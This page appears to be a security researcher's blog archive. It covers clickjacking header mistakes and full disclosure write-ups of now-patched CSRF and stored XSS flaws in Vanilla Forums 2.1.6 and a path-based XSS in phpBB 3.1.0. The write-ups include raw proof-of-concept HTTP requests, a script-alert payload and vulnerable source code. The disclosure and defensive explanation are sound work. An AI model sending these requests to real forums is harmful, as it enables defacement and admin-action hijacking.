Author Archives: dingjiedanielyang@gmail.com

Clickjacking: A Common Implementation Mistake Can Put Your Websites in Danger

Leave a reply

The X-Frame-Options HTTP response header is a common method to protect against the clickjacking vulnerability since it is easy to implement and configure, and all modern browsers support it. As awareness of clickjacking has grown in the past several years, I have seen more and more Qualys customers adopt X-Frame-Options to improve the security of their web applications.

However, I have also noticed there is a common implementation mistake that causes some web applications to be vulnerable to clickjacking attack even though they have X-Frame-Options configured. In this article, I describe the implementation mistake and show how to check your web applications to ensure X-Frame-Options is implemented correctly.

The implementation error was caused when there are more than one X-Frame-Options item presented in the response header, please go to my post under qualys community to get the full articles.

From XSS to CSRF, how to gain administrator control of websites hosting myBB

Leave a reply

I describe how XSS vulnerabilities can be used to attack popular open source web applications and application frameworks, and how some web applications are compromised by CSRF attacks because of implementation flaws on the server side.

In most of the case, an attacker will combine these two kinds of vulnerability to launch destructive attacks. In a recent audit against MyBB 1.8.3, I discovered a XSS vulnerability and I demonstrated how to gain administrator access to the website hosting MyBB though session hijacking was prohibited there.  To get a quick look at this article, please read my blog under Qualys Community…

Do Your Anti CSRF Tokens Really Protect Your Web Apps from CSRF Attacks

Leave a reply

A research article about CSRF Do Your Anti-CSRF Tokens Really Protect Your Web Apps from CSRF Attacks?  has been published in Qualys Security Lab. This articles indicates how popular web applications are compromised by CSRF attack though they deploy anti-CSRF tokens in their applications.

As described in the article, a webmaster should not consider his/her web application are immune to CSRF attack if though he/she sees the anti-CSRF tokens deployed in his/her web sites. Read more here

 

CSRF and Stored XSS vulnerability at Vanilla 2.1.6

Leave a reply

CSRF and Stored XSS vulnerability at Vanilla 2.1.6

When I was conducting research about CSRF protection method in popular web applications  at Qualys.  As described in the research article, Vanilla Forum 2.1.6 is one of the victims that are suffering from CSRF attack though anti-CSRF tokens are deployed in the web applications. Currently, it has been fixed with VanillaForums 2.1.7

CSRF Vulnerabilities

CSRF Vulnerability 1

The CSRF vulnerability could be found at the post discussion function, which will enable an attacker to trigger the admin user to post as many malicious discussions as possible when an authenticated admin makes the following request

POC

POST /vanilla/index.php?p=/post/discussion HTTP/1.1
Host: yourhost
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:33.0) Gecko/20100101 Firefox/33.0
Accept: application/json, text/javascript, */*; q=0.01
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Content-Length: 193
Cookie: Vanilla=1-1420142760%7C4b9b4380637aacae40aa5a3869b91e17%7C1417550760%7C1%7C1420142760; Vanilla-Vv=1417920140
Connection: keep-alive
Pragma: no-cache
Cache-Control: no-cache

 TransientKey=T4XEZV8VMRTR&hpt=&DiscussionID=&DraftID=0&CategoryID=1&Name=CSRF_Attack&Body=Let us disscuss CSRF Here&Announce=0&DeliveryType=VIEW&DeliveryMethod=JSON&Post_Discussion=Post Discussion

The anti-CSRF token TransientKey  does not function because the server-side is not checking whether the anti-CSRF token TransientKey is presented or not. The request will be processed by the server-side even without the presence of the TransientKey. 

Following is the screenshot of the response by triggering the admin to make the request. As you could find, a new discussion with name “CSRF_Attack” will be posted at the main pages of the website.

Vanilla_CSRF_Vulnerability_1

CSRF Vulnerability 2

This vulnerability will allow an attacker to change/edit all the posted discussion in the forums by triggering admin user to make the following request.

POC

POST /vanilla/index.php?p=/vanilla/post/editdiscussion/1 HTTP/1.1
Host: yourhost
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:33.0) Gecko/20100101 Firefox/33.0
Accept: application/json, text/javascript, */*; q=0.01
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Content-Length: 167
Cookie: Vanilla=1-1420142760%7C4b9b4380637aacae40aa5a3869b91e17%7C1417550760%7C1%7C1420142760; Vanilla-Vv=1417920828
Connection: keep-alive
Pragma: no-cache
Cache-Control: no-cache

 TransientKey=T4XEZV8VMRTR&hpt=&DiscussionID=1&DraftID=0&CategoryID=1&Name=BAM!+CSRF+Attack+Here+Watch+Out&Body=CSRF_Attack&Format=Html&Announce=0&DeliveryType=VIEW&DeliveryMethod=JSON&Save=Save

Similar to the previous CSRF vulnerability, this vulnerability was exposed because the server side does not check the anit-CSRF token when processing this request.Vanilla_CSRF_Vulnerability_2

XSS Vulnerability

Besides the CSRF vulnerability, actually there is an XSS vulnerability in the edit discussion function as well.

POC

POST / vanilla/index.php?p=/vanilla/post/editdiscussion/1 HTTP/1.1
Host:yourhost
User-Agent: Mozilla/5.0 (Windows NT 6.1;WOW64; rv:33.0) Gecko/20100101 Firefox/33.0
Accept: application/json, text/javascript, */*; q=0.01
Accept-Language: en-US,en;q=0.5
Accept-Encoding:gzip, deflate
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Content-Length: 221
Cookie: Vanilla=1-1420142760%7C4b9b4380637aacae40aa5a3869b91e17%7C1417550760%7C1%7C1420142760; Vanilla-Vv=1417920828
  Connection: keep-alivePragma: no-cache
Cache-Control: no-cache

hpt=&DiscussionID=1&DraftID=0&CategoryID=1&Name=BAM!+CSRF+Attack+Here+Watch+Ou&Body=CSRF_Attackt_XSS_Injection_Code&Format=&Announce=0&DeliveryType=VIEW&DeliveryMethod=JSON&Save=Save

The injected XSS codes will not be filtered on the server and it will be executed directly on the browser .http://yourhost/vanilla/index.php?p=/discussion/1/, since the XSS code are the content of the discussion, which will be a store XSS vulnerabilityVanilla_XSS_Vulnerability.

Conclusion

As a web master, the presence of anti-CSRF token in the web application does not mean the web application is protected from CSRF attacking since the developer might forget to add the server-side validation to check whether the CSRF token is valid or not, you should double-check whether the anti-CSRF token is probably deployed.

As a pen tester, you should not stand off if you saw the csrf tokens in the html page. Just spend several seconds to check whether the anti-CSRF token is working, you might find a big rewards behind it.

 

 

 

Path Based XSS Vulnerability in PHPBB3.1.0

1 Reply

After reporting a Cross-Site Scripting vulnerability in Joomla 3.3.3, I spend some time to play with widely used open source software, pphBB3.1.0.   Without paying too much effort on it, I found a Cross-Site Scripting vulnerability in it and now it has been patched in phpBB 3.1.1.

Different to a normal XSS vulnerability, Path Based XSS vulnerability, as the name it indicates, is relatively special XSS vulnerability since the injection point is the PATH of HTTP Request,  which makes me to feel worthy to start a write up on it.

Where is the Path Based XSS in PHPBB 3.1.0?

POC

GET /phpBB3/index.php/“><script>alert(‘XSS’)</script> HTTP/1.1
Host: yourdomain
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:31.0) Gecko/20100101 Firefox/31.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Cookie: phpbb3_gk69y_k=; phpbb3_gk69y_u=2Connection: keep-alive

The injected JavaScript Code will be reflected at

<body id=”phpbb” class=”nojs notouch section-index/“><script>alert(‘XSS’)</script> ltr “>

Note:  I was unable to exploit this vulnerability through a modern browser since it will encode the injected JavaScript code automatically as filename. In order to reproduce this vulnerability, you will need assistance from a proxy.

When digging into the source code, I observed this XSS vulnerability was actually caused by the following code

$symfony_request_path = $phpbb_filesystem->clean_path($symfony_request->getPathInfo());
if ($symfony_request_path !== ‘/’)
{
$page_name .= $symfony_request_path;
}                                                                                                                                            // phpbb/session.php
‘SCRIPT_NAME’      => str_replace(‘.’ . $phpEx, ”, $user->page[‘page_name’]),    // includes/functions.php:
<body id=\”phpbb\” class=\”nojs notouch section-“;
// line 55
echo (isset($context[“SCRIPT_NAME”]) ? $context[“SCRIPT_NAME”] : null);
echo ” “;
echo (isset($context[“S_CONTENT_DIRECTION”]) ? $context[“S_CONTENT_DIRECTION”] : null);
echo ” “;
echo (isset($context[“BODY_CLASS”]) ? $context[“BODY_CLASS”] : null);
echo “\”>”;

The source code indicates  injected JavaScript code was taken as the Page Name  and the application is then trying to render the PageName as index/”><script>alert(‘XSS’)</script> in the response page before encode it. As a consequence, it exposed XSS vulnerability.

Path Based XSS Vulnerability are on the stage

 

What is PATH Based XSS vulnerability

In general, PATH Based XSS vulnerability was composed when the request URLs are rendered directly in the response body without proper encoding or input validation.

The most common format of the PATH Based XSS vulnerability looks like.

<a href=” <?php echo $_SERVER[‘REQUEST_URI’];?>”>Click Here </a>

Special, but Not Rare

Path Based XSS vulnerability is special, but it is not rare vulnerability in web applications. With several years working experience in Qualys,   I have seen several cases in some open source web application, such as ATutor , E107 and TomatoCar ,etc.

A lot of developers may never think about the injection point could be the PATH of the URl. Normally, they think XSS vulnerability could only appear in request headers or request parameters. That could explain WHY PHPBB3 is suffering this vulnerability.

With no doubt, attention should be paid to check whether your website is suffering from path based XSS vulnerability because the developers might ignore this potential injection point.